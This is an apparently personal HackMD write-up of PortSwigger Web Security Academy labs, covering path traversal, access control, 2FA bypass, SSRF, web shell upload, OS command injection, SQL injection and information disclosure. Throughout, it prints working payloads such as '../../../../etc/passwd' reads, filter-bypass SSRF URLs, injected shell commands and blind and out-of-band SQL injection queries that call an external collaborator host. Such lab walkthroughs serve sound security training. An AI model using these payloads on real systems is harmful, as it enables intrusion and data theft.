nahp.hnav
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # PORTSWIGGER SERVER-SIDE VULNERABILITIES LABS ## File path traversal ### Lab 1: File path traversal, simple case * Using BurpSuite to intercept the request that load the page's file (image) ![image](https://hackmd.io/_uploads/H1LeMkLwex.png) * Changing the path directory to etc/passwsd (../ to redirect to the root path) ![image](https://hackmd.io/_uploads/HkG7MyIPxg.png) * final `payload: ../../../../etc/passwd` ![image](https://hackmd.io/_uploads/rJGIMkLPel.png) * Inject success ### Lab 2: File path traversal, traversal sequences blocked with absolute path bypass * The application blocks traversal sequences but treats the supplied filename as being relative to a default working directory. * Using relative path instead of absolute path ![image](https://hackmd.io/_uploads/HyH39AGcgx.png) * Check with absolute path, can't retrieve the passwd file ![image](https://hackmd.io/_uploads/r1KBsRfclx.png) * Using relative path: `/etc/passwd` ![image](https://hackmd.io/_uploads/Sk34h0Gcle.png) * Complete the lab ![image](https://hackmd.io/_uploads/BkBPpAGcgg.png) ### Lab 3: File path traversal, traversal sequences stripped non-recursively * The application strips path traversal sequences from the user-supplied filename before using it. * Testing for normal payload ![image](https://hackmd.io/_uploads/rkb5fv7qel.png) * Using fuzzing payload: `....//....//....//etc/passwd` ![image](https://hackmd.io/_uploads/ryGzmw7cle.png) * Complete the lab ![image](https://hackmd.io/_uploads/HyMUQv79le.png) ### Lab 4: File path traversal, traversal sequences stripped with superfluous URL-decode * The application blocks input containing path traversal sequences. It then performs a URL-decode of the input before using it. * Try to encode the payload: `../../../etc/passwd` 1 time ![image](https://hackmd.io/_uploads/SyNcrvQqgx.png) * Try to encode it 2nd time ![image](https://hackmd.io/_uploads/H1ETBvQ9ge.png) * Sucessfully retrieve the passwd file ![image](https://hackmd.io/_uploads/HkclIDQ9gx.png) ## Access control ### Lab 1: Unprotected admin functionality * Access the robots.txt folder in the path of the URL (robots.txt: hidden file for crawler like Googlebot to escape the path inside the file) ![image](https://hackmd.io/_uploads/SyrPvl8wxe.png) * Found the admin's path ![image](https://hackmd.io/_uploads/B1LFPlUwee.png) * Access with admin rights, delete user's account ![image](https://hackmd.io/_uploads/r1mqPx8wxe.png) ### Lab 2: Unprotected admin functionality with unpredictable URL * View the page source to see the source code of the page ![image](https://hackmd.io/_uploads/rkFBqx8vgl.png) * Can see the hidden path in the source code ![image](https://hackmd.io/_uploads/HknNqeLPxg.png) * Using the hidden path, access with the admin's right ![image](https://hackmd.io/_uploads/SJ4vqxIDll.png) * Complete the lab ![image](https://hackmd.io/_uploads/BkcDWMUDgx.png) ### Lab 3: User role controlled by request parameter * Check the request after login, see the flag `Admin=flase` ![image](https://hackmd.io/_uploads/S19aXMLDxe.png) * Change the `Admin=true` ![image](https://hackmd.io/_uploads/rkjCNG8Pxg.png) * The admin panel is shown, change the `Admin=true` when access the admin panel ![image](https://hackmd.io/_uploads/H1Z0BGIPxg.png) * Solve the lab ![image](https://hackmd.io/_uploads/HyAg8fUvlg.png) ### Lab 4: User ID controlled by request parameter, with unpredictable user IDs * Find the victim's blog: carlos * Press into the carlos's account page and copy its id ![image](https://hackmd.io/_uploads/ryn-iGIvex.png) * Go to the My Account page and paste the id into the URL ![image](https://hackmd.io/_uploads/SkhfoGLPxx.png) * Successfully change to carlos's account ![image](https://hackmd.io/_uploads/SkrBjMLPlx.png) * Take the API key, complete the lab ![image](https://hackmd.io/_uploads/Hykvof8Dxx.png) ![image](https://hackmd.io/_uploads/r1u_sGLPxg.png) ### Lab 5: User ID controlled by request parameter with password disclosure * Using Burp Suite intercept to sniff the request that is used to redirect to My Account page ![image](https://hackmd.io/_uploads/HyF6J78veg.png) * Try to change the id to administrator ![image](https://hackmd.io/_uploads/HJwXe7Lvxx.png) * The respond show that there is an administrator account * After that, view the respond to see the password which have been hidden in the UI ![image](https://hackmd.io/_uploads/HkNbVXLPex.png) * Using the admin's password, login as admin and complete the lab ![image](https://hackmd.io/_uploads/HkpDNmLwll.png) ### Lab 6: Insecure direct object references * This lab stores user chat logs directly on the server's file system, and retrieves them using static URLs. ![image](https://hackmd.io/_uploads/ryjNDrMOxl.png) * Select "View transcript", the browser will download a txt file ![image](https://hackmd.io/_uploads/H1RKwSzOel.png) * Text files are assigned a filename containing an increment number when trying to download transript files ![image](https://hackmd.io/_uploads/ryKMdSfdle.png) ![image](https://hackmd.io/_uploads/H1umdSMOeg.png) * Realize that there is no 1.txt ![image](https://hackmd.io/_uploads/rke5_Bfuxe.png) * Catch the request that download the 4.txt transcript file * Change it to 1.txt and observe the response ![image](https://hackmd.io/_uploads/SkSJYHf_xx.png) * The 1.txt file include the conversation that reveal the password of Carlos: `gfjqupxrf98k3sipvzsx` * Login Carlos's account - complete the lab ![image](https://hackmd.io/_uploads/Hk6f5SM_gx.png) ### Lab 7: User role can be modified in user profile * This lab has an admin panel at /admin. It's only accessible to logged-in users with a `roleid` of 2. * Observe that the respond of the change id request contain the `roleid` field ![image](https://hackmd.io/_uploads/S1eBDFI5eg.png) ![image](https://hackmd.io/_uploads/HkeUDt89ge.png) * Add the `"roleid": 2` field to the request in order to access as admin's right ![image](https://hackmd.io/_uploads/ry6MOtL5xe.png) * The roleid is changed to 2 * Reload the main page, see the admin panel ![image](https://hackmd.io/_uploads/S1McutI9lg.png) * Access the admin panel, delete user carlos, complete the lab ![image](https://hackmd.io/_uploads/rJp2dYU9gg.png) ### Lab 8: User ID controlled by request parameter with data leakage in redirect * This lab contains an access control vulnerability where sensitive information is leaked in the body of a redirect response. * To solve the lab, obtain the API key for the user carlos and submit it as the solution. * Observe the request sent when access the "My Account " page ![image](https://hackmd.io/_uploads/S1TfsFL5xg.png) * The API key is leaked in the respond and also the user's id is revealed in the request's header * Change the id to `id=carlos` ![image](https://hackmd.io/_uploads/H1A62F8cxx.png) * Successfully login as user carlos * Complete the lab with carlos's API key: `bbguT4TamdkV9Y7zri2cD9T1wnoZvFef` ![image](https://hackmd.io/_uploads/SJOzpKLcel.png) ### Lab 9: Multi-step process with no access control on one step * This lab has an admin panel with a flawed multi-step process for changing a user's role. * Access the admin account, create a request to promote user carlos and observe the request ![image](https://hackmd.io/_uploads/SyG9Rt89lx.png) * Take the request to Burp Repeater * Log in as a normal user, take the session id and paste it into the request ![image](https://hackmd.io/_uploads/rJO7e0Icel.png) * User wiener's session id: `uze84pteTysPz5fOvbqcyD0BLjfbJeby` * Paste it into the promote request ![image](https://hackmd.io/_uploads/ByMogC8qle.png) * Change the username to wiener * Lab complete ![image](https://hackmd.io/_uploads/BkPYbCU9ee.png) ### Lab 10: Referer-based access control * This lab controls access to certain admin functionality based on the Referer header. * The process of completion is as same as the Lab 9, make sure the `Reference` header have the `/admin` path ![image](https://hackmd.io/_uploads/Hyg-v0L9ex.png) * Take the request to Burp Repeater, change the name and session id to wiener's account * Wiener's session id: `9MFTFzJh3tPoYZ7M0jq5uVEvKvgkieMR` * Test if there is no `Reference` header, can the request be accepted ![image](https://hackmd.io/_uploads/BJ02DRLcgl.png) * Add the `Reference` header ![image](https://hackmd.io/_uploads/BJ51dCUqlx.png) * Complete the lab ![image](https://hackmd.io/_uploads/HySZu08clx.png) ## Authentication vulnerability ### Lab 1: Username enumeration via different responses * This lab is vulnerable to username enumeration and password brute-force attacks. * Capture the login request with a random user name and password ![image](https://hackmd.io/_uploads/HJ82YDLwge.png) * Add the `$` in the payload that will be brute forced (username and password) ![image](https://hackmd.io/_uploads/r1bg5PUvel.png) * Set up the Intruder tab in Burp Suite that fit the Brute Force Attack (Cluster Bomb attack) ![image](https://hackmd.io/_uploads/rJBvfO8vlx.png) * Using the list of username and password that is given by Port Swigger ![image](https://hackmd.io/_uploads/H18KGuIvlg.png) * After the attack, find the payload that have the smallest length or have status code 302 (redirect to other pages) ![image](https://hackmd.io/_uploads/SydR7dIPge.png) * Found the suitable payloads ![image](https://hackmd.io/_uploads/HJi-EuIvgx.png) * Try it in the lab - success ![image](https://hackmd.io/_uploads/HkZW4_UDel.png) ### Lab 2: 2FA simple bypass * It is clearly that after loging and authenticate with 2FA, the web page will redirect to the path `/my-account` ![image](https://hackmd.io/_uploads/SkPyv_8Dxx.png) * Testing with an user's account, this `/login2` seems to be the page that use for 2FA, try to bypass it by modify the request to redirect to `/my-account` after login successfully ![image](https://hackmd.io/_uploads/H1TrIOUDgg.png) * Bypass successfully ![image](https://hackmd.io/_uploads/HkljU_Lwgg.png) * Test with the victim's account, using Burp to catch the 2FA request ![image](https://hackmd.io/_uploads/rkSYOdUPxe.png) * Drop the 2FA request ![image](https://hackmd.io/_uploads/H1i5duLDxe.png) * Create new request by edit the URL, replace `/login2` with `/my-account` ![image](https://hackmd.io/_uploads/H1gR__Lwxl.png) * The lab is complete ## Server-side request forgery ### Lab 1: Basic SSRF against the local server * This lab has a stock check feature which fetches data from an internal system. * To solve the lab, change the stock check URL to access the admin interface at `http://localhost/admin` and delete the user `carlos`. * Using Burp to intercept the request when checking the stock in a random product ![image](https://hackmd.io/_uploads/SycqU6wPlx.png) * Can see the API call in the body of the request ![image](https://hackmd.io/_uploads/SyWZvaDvxe.png) * Change it to `http://localhost/admin` ![image](https://hackmd.io/_uploads/Byc9upwPxx.png) * The admin panel is shown ![image](https://hackmd.io/_uploads/HkAN_6PDxl.png) * Can see the path to the delete user request which is: `/admin/delete?username=carlos` ![image](https://hackmd.io/_uploads/BkJPY6Pwxe.png) * Modify the new API request to delete user `http://localhost/admin/delete?username=carlos` ![image](https://hackmd.io/_uploads/BkVDa6DDeg.png) * Complete the lab ![image](https://hackmd.io/_uploads/Sy-926DDee.png) ### Lab 2: Basic SSRF against another back-end system * This lab has a stock check feature which fetches data from an internal system. * To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos ![image](https://hackmd.io/_uploads/Hy38qRDDgg.png) * The request when checking the stock, can see the stock API is in the body of the request: `http://192.168.0.1:8080/product/stock/check?productId=1&storeId=1` * Change it to `http://192.168.0.X:8080/admin` * Using Burp suite to find the final octet X in the IP address that can access to the admin's path ![image](https://hackmd.io/_uploads/S1Xe3RDwel.png) * Using brute force technique to find X * The payload that give status code = 200 is the final octet of the IP address ![image](https://hackmd.io/_uploads/r1y83Avwel.png) * Final admin's address: `http://192.168.0.155:8080/admin` * Change the path in the request ![image](https://hackmd.io/_uploads/HkIe6RPDgx.png) * To delete carlos's account, change the path to: `http://192.168.0.155:8080/admin/delete?username=carlos` ![image](https://hackmd.io/_uploads/Hyk6aCwveg.png) * Complete the lab ![image](https://hackmd.io/_uploads/ry-PCCwPxg.png) ### Lab 3: SSRF with blacklist-based input filter * This lab has a stock check feature which fetches data from an internal system. * To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos. * Can see that the black list contain the phrase like 127.0.0.1, localhost, /admin,.. ![image](https://hackmd.io/_uploads/HyrZ6WLcgl.png) ![image](https://hackmd.io/_uploads/rJwXpWLcxl.png) * Try to shorten the admin IP address to 127.1 ![image](https://hackmd.io/_uploads/HJsPaZL9ll.png) * The main problem is the "admin" word * Try to double encode the letter "a" in "admin" to `%25%36%31` ![image](https://hackmd.io/_uploads/SJcGCWI5el.png) * Successfully bypass the blacklist with the final payload: `http%3a//127.1/%25%36%31dmin` ![image](https://hackmd.io/_uploads/B12PC-L5xl.png) * Delete user "Carlos" with paylaod: `http%3a//127.1/%25%36%31dmin/delete?username=carlos` ![image](https://hackmd.io/_uploads/rkCMyMIqlx.png) * Complete the lab ## File upload vulnerabilities ### Lab 1: Lab: Remote code execution via web shell upload * This lab contains a vulnerable image upload function. It doesn't perform any validation on the files users upload before storing them on the server's filesystem. ![image](https://hackmd.io/_uploads/SJ7bEodvel.png) * When uploading an image, there will be a request that perform a GET method to the image's path in the application, in this example: `/files/avatars/vo3.jpg` ![image](https://hackmd.io/_uploads/SJ8uHsdPel.png) * Create a PHP file: exploit.jpg containing a script for fetching the contents of the victim's secret file: ![image](https://hackmd.io/_uploads/r1FfIidPee.png) * Upload the php file instead of img ![image](https://hackmd.io/_uploads/Hyv8Lo_Pxg.png) * The victim's secrete have been revealed but the application only show the img form, using Burp repeater to see the respond in text ![image](https://hackmd.io/_uploads/SyJBvouweg.png) ![image](https://hackmd.io/_uploads/B1dSDjdDeg.png) * Victim's secret: `CwabH2BSUrTLkpOOVQ383tpdwNTWrJ4e` ![image](https://hackmd.io/_uploads/r1pKvo_wxl.png) ### Lab 2: Web shell upload via Content-Type restriction bypass * This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this. * Cannot directly upload the php file like the previous lab ![image](https://hackmd.io/_uploads/Skq85juvlx.png) * Retry, using Burp intercept to catch the request when uploading the php file ![image](https://hackmd.io/_uploads/r1m4io_Del.png) * In the Content-Type field of the php file, change it to image/jpeg in order to bypass the Content-Type restriction ![image](https://hackmd.io/_uploads/r1u72oOvxl.png) * Check the GET request in the HTTP history tab after upload the php file to take the victim's secret ![image](https://hackmd.io/_uploads/rJHmaidPgl.png) * Submit the secret ![image](https://hackmd.io/_uploads/BJBwTodwge.png) ## OS command injection * Useful OS command: ![image](https://hackmd.io/_uploads/Byq0ajuvel.png) ### Lab 1: OS command injection, simple case * This lab contains an OS command injection vulnerability in the product stock checker. * The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response. * ![image](https://hackmd.io/_uploads/rkrsOhdPel.png) * Check the stock in the lab, using Burp suite intercept to catch the POST request ![image](https://hackmd.io/_uploads/Skfnu3ODxx.png) * Insert the OS command that determine the name of the current user: `productId=1&storeId=1|whoami` ![image](https://hackmd.io/_uploads/H1weY3uveg.png) * The current user's information is revealed ![image](https://hackmd.io/_uploads/S1yXK2ODlg.png) * Complete the lab ![image](https://hackmd.io/_uploads/SJHN9h_vxe.png) ### Lab 2: Blind OS command injection with time delays * The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. * To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay. * Create a feedback in the submit feedback field to intercept a POST request ![image](https://hackmd.io/_uploads/rJRPnHV5ee.png) ![image](https://hackmd.io/_uploads/S1cu3SE5el.png) * Add the `& sleep 10 #` payload into the email field ![image](https://hackmd.io/_uploads/rJh2xLNclx.png) * The client will sleep for 10 seconds before return the respond ![image](https://hackmd.io/_uploads/ByxtlIE9xg.png) ### Lab 3: Blind OS command injection with output redirection * The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, you can use output redirection to capture the output from the command. There is a writable folder at: `/var/www/images/` ![image](https://hackmd.io/_uploads/BkA0XINcll.png) * Intercept the submit feedback request ![image](https://hackmd.io/_uploads/HJlG4UVcex.png) * Using the payload:`& whoami>/var/www/images/output.txt #` in the email field to direct the output to the writable folder ![image](https://hackmd.io/_uploads/BkWtEL45xe.png) * Reload the page, choose a random GET request that contain the filename field to intercept and replace the filename with the output.txt ![image](https://hackmd.io/_uploads/SJlPsHIN5lx.png) ![image](https://hackmd.io/_uploads/B1ADBLEqex.png) * The respond show that the `whoami` output is printed in the `output.txt` file * Complete the lab ![image](https://hackmd.io/_uploads/SJZRBLN5xx.png) ### Lab 4: Blind OS command injection with out-of-band interaction * The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain. * Take the location of the Burp Collaborator: `oqi5o3nl5yyf02y3k3yqe9osxj3ar4ft.oastify.com` ![image](https://hackmd.io/_uploads/H1TXvU49xg.png) * Intercept the submit feedback request ![image](https://hackmd.io/_uploads/SyAOvLVqlx.png) ![image](https://hackmd.io/_uploads/r1rqP84qll.png) * Using payload:` & nslookup oqi5o3nl5yyf02y3k3yqe9osxj3ar4ft.oastify.com #` * Add the payload in the email field ![image](https://hackmd.io/_uploads/rJnaOU4qge.png) * The request successfully look up the Burp Collaborator DNS ![image](https://hackmd.io/_uploads/BkzEt8V9ee.png) * Complete the lab ![image](https://hackmd.io/_uploads/S1x_YIEqgg.png) ## SQL injection ### Lab 1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data * When check a category, the URL can be observed: `/filter?category=Accessories` ![image](https://hackmd.io/_uploads/BJ52-TODgg.png) ![image](https://hackmd.io/_uploads/ByYW872dlx.png) * Try to inject the payload `' -- `to test if the application is vulnerable with SQL injection ![image](https://hackmd.io/_uploads/BJe1MTdDge.png) * There is a new product appear, may be this is an unreleased product * Can see that the application is vulnerable with SQL injection * Try a different payload to check if there is more unrelease product in the `product` table, regardless of the `category` value: `' OR 1 = 1 --` ![image](https://hackmd.io/_uploads/HynzQauPxe.png) * All of the unreleased product is revealed ![image](https://hackmd.io/_uploads/BJH4mauPxg.png) * Complete the lab ### Lab 2: SQL injection vulnerability allowing login bypass * This lab contains a SQL injection vulnerability in the login function. * Try to bypass the password checking process by using pay load `' --` ![image](https://hackmd.io/_uploads/rJhb1RuPel.png) * Password is a random number ![image](https://hackmd.io/_uploads/Sk9X1RdPgx.png) * Complete the lab ### Lab 3: Visible error-based SQL injection * This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned. * The database contains a different table called `users`, with columns called `username` and `password`. To solve the lab, find a way to leak the password for the `administrator` user, then log in to their account. * Request to a product ![image](https://hackmd.io/_uploads/r1Ihfj2Yeg.png) ![image](https://hackmd.io/_uploads/rJPCzi2Fle.png) * Using basic payload to check the error in the tracking id flag: ![image](https://hackmd.io/_uploads/S1Z-XonFee.png) * Try different payload that take the password from the user table: `' and (SELECT password from users) -- ` ![image](https://hackmd.io/_uploads/ry9Mmo3Fgx.png) * The error said that argument of AND must be type boolean * Change the payload to: `‘ and 1=CAST((SELECT password from users)AS int) — ` ![image](https://hackmd.io/_uploads/B1G4vi2Kxg.png) * Seems that the query are too long * Delete the tracking id value: ![image](https://hackmd.io/_uploads/Hy6LDj3teg.png) * There are too many rows => limit it to 1 by the the command: LIMIT 1 ![image](https://hackmd.io/_uploads/SJi2wj3Yll.png) * While the password is not int, the sql server return the error that might expose the password (Postgre sql) * We have the password of the first row, check its username: change `password` to `username` ![image](https://hackmd.io/_uploads/H1eO_j2Yle.png) * The first row is the admin information * Lab solved ![image](https://hackmd.io/_uploads/BymCuj3Kgl.png) ### Lab 4: SQL injection UNION attack, determining the number of columns returned by the query * This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. ![image](https://hackmd.io/_uploads/HkmS0uTKee.png) * Intercept the request to a category ![image](https://hackmd.io/_uploads/HklhRdatgl.png) * Using payload: UNION SELECT NULL -- to check the number of columns ![image](https://hackmd.io/_uploads/SySikYpKlx.png) * Error meaning that the number of column is wrong, try a different number ![image](https://hackmd.io/_uploads/SJAOWKpYle.png) * So there are 3 column in the query ![image](https://hackmd.io/_uploads/BkJkzYaFxx.png) ### Lab 5: SQL injection UNION attack, finding a column containing text * Identify a column that is compatible with string data. ![image](https://hackmd.io/_uploads/Bkg9dYaFlg.png) * After know that the query have 3 columns, using the payload to identify the column that compatible with string data: ![image](https://hackmd.io/_uploads/SJ9VYY6tee.png) * Error, replace the string to a different column: ![image](https://hackmd.io/_uploads/HkIzqFpYle.png) * The second column is the column that compatible with string data: ![image](https://hackmd.io/_uploads/r1POcY6Flx.png) * Complete the lab ### Lab 6: Blind SQL injection with conditional responses * This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. * The results of the SQL query are not returned, and no error messages are displayed. But the application includes a Welcome back message in the page if the query returns any rows. * The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user. * To solve the lab, log in as the administrator user. ![image](https://hackmd.io/_uploads/B1v1NjTKge.png) * The "Welcome back!" nofitication is like a true/false indicator ![image](https://hackmd.io/_uploads/rkU_VoaYxg.png) * Take the login request to the Repeater ![image](https://hackmd.io/_uploads/BJUzSs6tel.png) * Test with normal payload: the Welcome back message appear => the query is true ![image](https://hackmd.io/_uploads/r1yABopFxg.png) * Test with the wrong payload, no Welcomeback message => the query is false ![image](https://hackmd.io/_uploads/rkRASjTKlg.png) * Table check: ' AND (SELECT 'a' FROM users LIMIT 1) = 'a'-- * If the table "users" exist, it will return the Welcome back message ![image](https://hackmd.io/_uploads/Bk2FLiTYlg.png) * When the table not exist: ![image](https://hackmd.io/_uploads/Syg1woaKle.png) * Verify username: check if the user name "administrator" is exist * Payload: ' AND (SELECT 'a' FROM users WHERE username = 'administrator') = 'a'-- ![image](https://hackmd.io/_uploads/HJ012Vl5le.png) * The administrator account is exist * Check the length of the password: ' AND (SELECT 'a' FROM users WHERE username = 'administrator' AND LENGTH(password) >1 ) = 'a'-- * Return true only if user "administrator" exist and its password is >1 ![image](https://hackmd.io/_uploads/BkRnpVl9lx.png) * The administrator password's length is greater than 1 * Using Burp Intruder for automation test: ![image](https://hackmd.io/_uploads/rydk-Sx5eg.png) * Payload type: Number, from 1 to 30 ![image](https://hackmd.io/_uploads/Bytofrlqll.png) * Notice that in the content length, the Welcome back message make the length longer => the content length become longer in payload 20 => the password length's is 20 * Extract password character-by-character * Payload: ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'-- * Extract the first character and compares to a => if the same => return true * Do it the same with the rest of the letters * After finding the first the character. do it the same with the other character * Using Burp Intruder ![image](https://hackmd.io/_uploads/Hk2MLSg5el.png) ![image](https://hackmd.io/_uploads/Sy058rlqeg.png) * Setting the flag respond: ![image](https://hackmd.io/_uploads/BJUT8Se9ll.png) * Sort the result that have the flag respond "Welcome back" in ascending order ![image](https://hackmd.io/_uploads/ByOr2Bgcxe.png) ![image](https://hackmd.io/_uploads/ByQvnSlqex.png) * The password is: ywh0pwdaligrech0ksdh * Lab solved ![image](https://hackmd.io/_uploads/HkCWTSe9xe.png) ### Lab 7: Blind SQL injection with time delays * The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information. * Using payload : '||pg_sleep(10)-- to trigger a time delay * Intercept a request ![image](https://hackmd.io/_uploads/HJF3gUe5gl.png) * Add the payload to the tracking id field: ![image](https://hackmd.io/_uploads/ryAfZIlqee.png) ![image](https://hackmd.io/_uploads/By87-Ue5lg.png) * The respond is delayed for 10 seconds ### Lab 8: Blind SQL injection with out-of-band interaction * Trigger out-of-band interactions with an external domain. * Payloads: ![image](https://hackmd.io/_uploads/Syq26Kx9xx.png) ![image](https://hackmd.io/_uploads/HkcLRLxqeg.png) * Intercept a request with the tracking id value, using payloads to cause a DNS look up to the Burp Collaborator client ![image](https://hackmd.io/_uploads/HkYCmvl5xx.png) ![image](https://hackmd.io/_uploads/r10yEwx9le.png) * Burp collaborator server location: 9cmsl7w6zxq3w6kv88b3whn66xco0io7.oastify.com * Full payloads: ' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://9cmsl7w6zxq3w6kv88b3whn66xco0io7.oastify.com/"> %remote;]>'),'/l') FROM dual -- * Using URL encode ![image](https://hackmd.io/_uploads/Sy-C8Pe5xg.png) ![image](https://hackmd.io/_uploads/HkmTLDl5le.png) * The collaborator server's client show that there is a DNS lookup from the DB Server ![image](https://hackmd.io/_uploads/r1_8Dwg5xg.png) * Complete the lab ## Information disclosure ### Lab 1: Information disclosure in error messages * Open a product page, try to make the request error by BurpSuite and observe the error response ![image](https://hackmd.io/_uploads/HyvbDgW_gx.png) ![image](https://hackmd.io/_uploads/BkaV8x-ugx.png) * The request for a product page * Add to repeater and modify the request ![image](https://hackmd.io/_uploads/r1EsUgW_gl.png) * The framework's version is reveal due to an verbose error message: `Apache Struts 2 2.3.31` * Complete the lab ![image](https://hackmd.io/_uploads/BkQ4wxbdxe.png) ### Lab 2: Information disclosure on debug page * This lab contains a debug page that discloses sensitive information about the application. * Using Burp Engagement tools to find a page that can contain an HTML comment or any debug information ![image](https://hackmd.io/_uploads/BJygGf-uex.png) * Found a comment that lead to the path /cgi-bin/phpinfo.php ![image](https://hackmd.io/_uploads/ryTIGzWOel.png) * Using Repeater to retrieve the file, make sure the request will retrieve the /cgi-bin/phpinfo.php page ![image](https://hackmd.io/_uploads/HyZX4MbOxl.png) * Found the secret key: `i7lc4uz16zlvmzro09cg1dzagssjo68y` ![image](https://hackmd.io/_uploads/SJJoNM-Oxg.png) * Complete the lab ![image](https://hackmd.io/_uploads/B1SnIGZOgx.png) ### Lab 3: Source code disclosure via backup files * Using Burp Engagement tools to discover contents ![image](https://hackmd.io/_uploads/BkpEIA-Ogg.png) * Found a file path `/backup/` (Could be a backup file in the editor) ![image](https://hackmd.io/_uploads/S1cFU0-dgl.png) * Create a request to the `/backup` path * The respond show the file `ProductTemplate.java.bak` - which is definitely a backup file ![image](https://hackmd.io/_uploads/BJebDRZdxx.png) * Sent another request to the `/backup/ProductTemplate.java.bak` path in order to retrieve the backup file's contents ![image](https://hackmd.io/_uploads/ry6dwC-Oxx.png) * The database information is revealed ![image](https://hackmd.io/_uploads/By73vA-uxl.png) * Submit the answer - complete the lab ### Lab 4: Authentication bypass via information disclosure * Using Burp Content discovery to find the `/admin` path ![image](https://hackmd.io/_uploads/Hkwux1MOlx.png) * Create a request to the `/admin` path ![image](https://hackmd.io/_uploads/r1NJKeMOxl.png) * Change the HTTP Method to TRACE to see the full request ![image](https://hackmd.io/_uploads/HyCetxfuxx.png) * The `X-Custom-IP-Authorization: 203.162.249.235` indicates that the user is not authorized due to the IP address * The admin IP Address can be accessed in localhost => using loopback IP range (127.0.0.0 to 127.255.255.255) * Replace the IP address to 127.0.0.1 ![image](https://hackmd.io/_uploads/SyWTMyfOeg.png) * Bypass successfully * Intercept the request and replace with this new request to access the admin panel ![image](https://hackmd.io/_uploads/S1Az71zOxe.png) * Add the `X-Custom-IP-Authorization: 127.0.0.1` in the request that delete the user carlos ![image](https://hackmd.io/_uploads/H10eEJGOgl.png) * Complete the lab ![image](https://hackmd.io/_uploads/H1aFu1GOxe.png)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
